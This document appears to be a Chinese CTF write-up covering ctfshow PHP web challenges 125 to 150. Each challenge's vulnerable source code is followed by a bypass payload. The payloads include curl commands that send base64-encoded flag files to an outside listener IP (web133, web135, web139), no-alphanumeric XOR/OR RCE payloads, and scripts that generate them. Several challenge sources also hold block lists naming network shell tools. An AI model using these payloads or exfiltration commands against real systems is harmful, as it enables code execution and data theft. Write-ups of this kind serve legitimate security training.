# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

禁用flag、echo

法一

通过extract函数对超级全局数组进行变量转换,也就是传什么参就转换成对应的变量-值

image-20240926173000166

GET对于fl0g写死了,不过我们可以通过POST传fl0g=flag_give_me,这样POST数组中就存在"fl0g"=>"flag_give_me"键值对,随后eval执行extract($_POST)就可以将POST数组所有键值对转化成变量-值了,其中包含`fl0g="flag_give_me”`

CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me

image-20240926175053037

法二

echo、var_dump等这些打印函数被ban,不过还有var_export函数;GLOBALS也被ban,不过可以用get_defined_vars打印所有变量

image-20240927021929713

image-20240927022122311

CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())

image-20240927022224061

法三

highlight_file+传参

CTF_SHOW=flag.php&CTF[SHOW.COM=1&fun=highlight_file($_POST[CTF_SHOW])

法四

传参-执行-赋值

image-20240927023900830

CTF_SHOW=flag&CTF[SHOW.COM=1&fun=eval($_POST[1])&1=$fl0g="flag_give_me";

法五

这个比较新奇

源代码中包含了$a=$_SERVER['argv'];,对于$_SERVER['argv']

image-20240927024415967

对于命令行

image-20240927024645183

对于web服务

register_argc_argv = On

image-20240927025308607

image-20240927025456632

query string其实指的就是GET传参的字符串,即?后的所有内容

image-20240927024238349

?$fl0g=flag_give_me;
CTF_SHOW=flag&CTF[SHOW.COM=1&fun=eval($a[0])

image-20240927025656721

题外

本来想直接system($_GET[1]),但一直无回显,测试半天发现估计是函数被禁用了

image-20240927020946497

web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

web125法五

web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

空格绕过waf

image-20240926015348299

?ctf show=ilove36d

web128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

f1数字字母全被禁了

hint提示开启text扩展,利用扩展中Gettext函数,别名_

image-20241106014409864

返回字符串

?f1=_&f2=get_defined_vars

web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

./当前目录,../上一级目录

绕过

?f=./ctfshow/../flag.php

web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

两个匹配存在ctfshow且ctfshow前不存在任何字符

 f=ctfshow

web131

very very very(省略25万个very)ctfshow

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

深悉正则(pcre)最大回溯/递归限制 - 风雪之隅

突破最大回溯限制绕过

print('a'*1000000+'36Dctfshow')

web132

扫后台

dirsearch -u https://cdbb4532-8247-4cbc-81e3-fa4e1043681b.challenge.ctf.show/

image-20241106230438536

/admin存在源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

运算符优先级

结合方向 运算符 附加信息
不适用 clone new clonenew
** 算术运算符
不适用 + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ 算术 (一元 +-), 递增/递减按位类型转换错误控制
instanceof 类型
不适用 ! 逻辑运算符
* / % 算术运算符
+ - . 算数 (二元 +-), arraystring. PHP 8.0.0 前可用)
<< >> 位运算符
. string (PHP 8.0.0 起可用)
< <= > >= 比较运算符
== != === !== <> <=> 比较运算符
& 位运算符引用
^ 位运算符
| 位运算符
&& 逻辑运算符
|| 逻辑运算符
?? null 合并运算符
无关联 ? : 三元运算符 (PHP 8.0.0 之前左联)
= += -= *= **= /= .= %= &= |= ^= <<= >>= ??= 赋值运算符
不适用 yield from yield from
不适用 yield yield
不适用 print print
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符

先运算&&再运算||

ps. 在&&运算中,若左为真则不进行右判断,结果为真,在||运算中,若左为假则不进行右判断,结果为假

?username=admin&code=admin&password=

web133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

构造**`$F` ;**确保被eval函数正常解析

截断后的字符串被通过``命令执行,无回显

vps开启监听

image-20241106235008211

于是,构造如下将flag带出

?F=`$F` ;curl http://47.120.57.12:8000?a=`tac flag.php|base64`

image-20241106235211373

web134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

extract解析

?_POST[key1]=36d&_POST[key2]=36d

web135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

法一

出网外带

''绕过

?F=`$F` ;cur''l http://47.120.57.12:8000?a=`ta''c flag.php|ba''se64`

法二

?F=`$F` ;cp flag.php flag

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

exec无回显

>被过滤,用tee代替

ls /执行结果写入名为ls文件中

?c=ls /|tee ls

image-20241107010533818

?c=cat /f149_15_h3r3|tee flag

web137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

PHP: call_user_func - Manual

image-20241107011703828

ctfshow=ctfshow::getFlag

web138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);


同上题

构造数组

ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

所有子路由都解析到index.php,写文件不可行了

ip转成int类型

?c=cur''l http://796408076:8000/`ls /|ba''se64`

image-20241107015454763

?c=cur''l http://796408076:8000/`c''at /f149_15_h3r3|ba''se64`

web140

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

若等于判断,返回0即可

f1=system&f2=system

web141

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

v1v2只能为数字,相对不可控,唯一可控的v3可以无数字字母RCE

利用羽师傅的异或脚本

根据正则生成字符映射集

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

payload生成

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os


def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

v3被v1v2夹在中间,只要v3返回为数字,就可以用运算绕过

image-20241107181750352

?v1=0&v2=0&v3=%2b("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%03%01%08%00%06%0c%01%07%00%0c%08%0c"^"%60%60%7c%20%60%60%60%60%2e%7c%60%7c")%2b

web142

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

有趣,不过秒了

?v1=0

web143

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web141,修改一下php脚本中的正则

image-20241107183203762

payload:

?v1=0&v2=0&v3=^("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")
^

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

改了个顺序

?v1=1&v3=0&v2=^("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")

web145

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

^被过滤,自增绕过

/?v1=0&v2=0&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%02'|'%60%60%60%20%60%28')|

web146

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web145

web147

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

image-20241107214026706

利用create_function,执行第二个参数

版本小于php7.2

image-20241107212626279

\create_function绕过首位检测

image-20241107215452514

web148

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

web141,修改一下php脚本中的正则

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");

web149

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

image-20241107222117017

flag在根目录

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

:被过滤了,封装协议读不了flag

日志注入

image-20241107230503331

web150_plus

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

image-20241107231057289

.和空格会解析为_

?..CTFSHOW  =phpinfo